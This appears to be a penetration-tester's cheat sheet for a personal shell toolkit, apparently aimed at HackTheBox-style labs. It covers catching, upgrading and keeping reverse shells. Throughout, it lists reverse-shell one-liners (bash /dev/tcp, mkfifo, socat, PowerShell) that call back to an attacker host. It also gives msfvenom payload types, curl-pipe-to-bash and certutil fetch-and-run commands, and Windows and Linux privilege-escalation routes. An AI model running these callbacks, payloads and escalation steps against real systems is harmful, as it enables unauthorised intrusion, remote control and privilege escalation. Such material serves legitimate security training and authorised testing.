# shells — catch it, stabilise it, keep it Foothold plumbing: fire a listener, paste a one-liner, upgrade the dumb shell to a real TTY, then serve your privesc tools. Set `$LHOST` with **`myip`** and `$TARGET` with **`t `** first — most commands here default to them. Pivoting a shell through a proxy? `cheat pivoting`. Landing a Windows box? `cheat nxc`. ## Point yourself at the box first - **`myip`** — sets `$LHOST` (container `tun0` → host tun → `en0` LAN, in that order). **Run this before `revshell`** or the payload bakes in an empty/LAN IP. - **`t `** — sets `$TARGET`/`$RHOST` · **`t`** alone prints the current target. - `$LPORT` defaults to **4444** everywhere below; pass a port to override. ## Listen — catch the callback - **`listen [port]`** — `rlwrap nc -lvnp `, port defaults to `$LPORT`. The `rlwrap` gives you arrow-keys/history even in a raw `nc` shell — worth it. - **`listen 443`** / **`listen 80`** — egress-friendly ports beat 4444 when the box has an outbound firewall. 443 rarely gets blocked. - Raw alternatives when `nc` isn't enough: ``` pwncat-cs -lp 4444 auto-stabilises the PTY, upload/download built in socat file:`tty`,raw,echo=0 TCP-LISTEN:4444 catches a socat PTY shell (see revshell) rlwrap nc -lvnp 4444 what `listen` runs under the hood ``` ## Reverse shell one-liners - **`revshell [lhost] [lport]`** — prints **every** variant pointed at `$LHOST:$LPORT` (or the args). Copy the one whose interpreter exists on target. Run **`myip`** first, then a matching **`listen`**. - What it prints, and when to reach for it: | Variant | Reach for it when | |---|---| | `bash -i >& /dev/tcp/…` | target is Linux with real bash — the default | | bash `mkfifo /tmp/f …` | `/dev/tcp` is missing (dash/ash) — most reliable fallback | | `python3 -c '…pty.spawn…'` | python is present — lands a **PTY already**, half-upgraded | | `nc -e /bin/bash …` | only if this nc build has `-e` (rare on modern boxes) | | `socat …EXEC:'bash -li',pty…` | socat on target — fully stable shell, pair with the socat listener | | php / ruby / groovy | web/Jenkins RCE where that runtime is what's executing | | `powershell -enc ` | Windows — base64 dodges quoting/logging noise; raw PS also printed | - The output ends with the exact `listen ` to run. Prefer the **python3 PTY** or **socat** lines — they save you a manual upgrade step. ## Serve & transfer to the target - **`serve [port] [dir]`** — `python3 -m http.server`, port `8000`, dir `.`. Prints `http://$LHOST:/`. Run it from wherever your loot lives. - **`upload-cmd `** — prints the fetch one-liners for the target (assumes **port 8000**): `curl … -o /tmp/…`, `wget … -O /tmp/…`, and `certutil -urlcache -f … C:\Windows\Temp\…` for Windows. - Quick Windows pulls by hand: `iwr http://$LHOST:8000/f.exe -o C:\Windows\Temp\f.exe` (PowerShell) · `certutil` when `iwr` is blocked. ## msfvenom payloads (when a one-liner won't do) - **`payload-linux [lhost] [lport]`** — `linux/x64/shell_reverse_tcp` → `rev.elf` in cwd (chmod +x) · **`payload-win`** — `windows/x64/shell_reverse_tcp` → `rev.exe`. - **`msfvenom-rev [lhost] [lport]`** — the flexible one. Saves to **`$HTB_BOXES/payloads/rev.`** and prints the serve/fetch/listen trio. | type | msfvenom payload | file / drop where | |---|---|---| | `exe` | windows/x64/shell_reverse_tcp | `rev.exe` — Windows binary | | `elf` | linux/x64/shell_reverse_tcp | `rev.elf` — Linux binary | | `php` | php/reverse_php | `rev.php` — webroot / LFI | | `aspx` | windows/x64/shell_reverse_tcp | `rev.aspx` — IIS upload | | `war` | java/jsp_shell_reverse_tcp | `rev.war` — Tomcat manager deploy | | `ps1` | windows/x64/shell_reverse_tcp (`-f psh`) | `rev.ps1` — AMSI may eat it | | `py` | cmd/unix/reverse_python | `rev.py` | | `sh` | cmd/unix/reverse_bash | `rev.sh` | - These are **staged-less `shell_reverse_tcp`** — catch them with plain `listen`, no Metasploit handler needed. Want a meterpreter? swap to `*/meterpreter/*` by hand and use `exploit/multi/handler`. ## Upgrade the dumb shell to a real TTY That raw `nc` shell has no tab-complete, no arrows, no `Ctrl-C` (it kills your shell, not the process), and `sudo`/`ssh`/`vim` break. Fix it: - **`shell-upgrade`** — prints the full 3-step card · **`shell-stable`** — prints the `stty` fix with **your** terminal's row/col already filled in (from `tput`). ``` # 1 — spawn a PTY on the target (first one that exists): python3 -c 'import pty;pty.spawn("/bin/bash")' # or python / script -q /dev/null /bin/bash / perl -e 'exec "/bin/bash"' # 2 — on YOUR box: background, fix the terminal, foreground: Ctrl-Z stty raw -echo; fg # 3 — back inside the shell, tell it what terminal it's on: reset export TERM=xterm-256color SHELL=/bin/bash stty rows 50 cols 200 # match your window (shell-stable prints your real size) ``` - Forget `stty raw -echo; fg` and your keystrokes stop echoing — just type it blind and hit enter. `script -q /dev/null /bin/bash` is the fallback when python is absent. ## Privesc — serve the PEAS, run the checks - **`privesc-download`** — pulls linpeas.sh, winPEASx64.exe (→`winpeas.exe`), pspy64, PowerUp.ps1 into **`$HTB_TOOLS/privesc/`** (chmod +x). Run once, reuse across boxes. - **`privesc-linux`** — prints the target-side download lines (`curl http://$LHOST:8000/linpeas.sh | bash`, pspy64) **plus** fast manual checks: `sudo -l`, SUID `find / -perm -4000`, crontab, `ss -tlnp`/`ps aux`, writable paths, `/etc/passwd`, `env`/history. - **`privesc-win`** — prints the Windows quick-check card: `whoami /priv` + `/groups`, the token-priv wins (SeImpersonate→PrintSpoofer/GodPotato, SeBackup→dump SAM, AlwaysInstallElevated→malicious .msi), service/`icacls` misconfigs, and the tools to upload. - Serve them: **`serve 8000 $HTB_TOOLS/privesc`**, then fetch on target. linpeas is **loud** — fine on a lab, noisy on a real engagement; prefer targeted manual checks there. ## GTFOBins — break out of a restricted binary - **`gtfo `** — live-scrapes gtfobins.github.io for that binary and prints the Sudo/SUID/Shell/File-Read/File-Write/Capabilities sections. First thing to run after `sudo -l` or a SUID hit: `gtfo vim`, `gtfo find`, `gtfo tar`. > The fastest path to a stable shell: `myip` → `listen 443` → `revshell` and pick > the **python3 PTY** line → then `shell-stable` and paste its `stty` block. You're > tab-completing in under a minute. Loot next: `privesc-linux` / `cheat cracking`.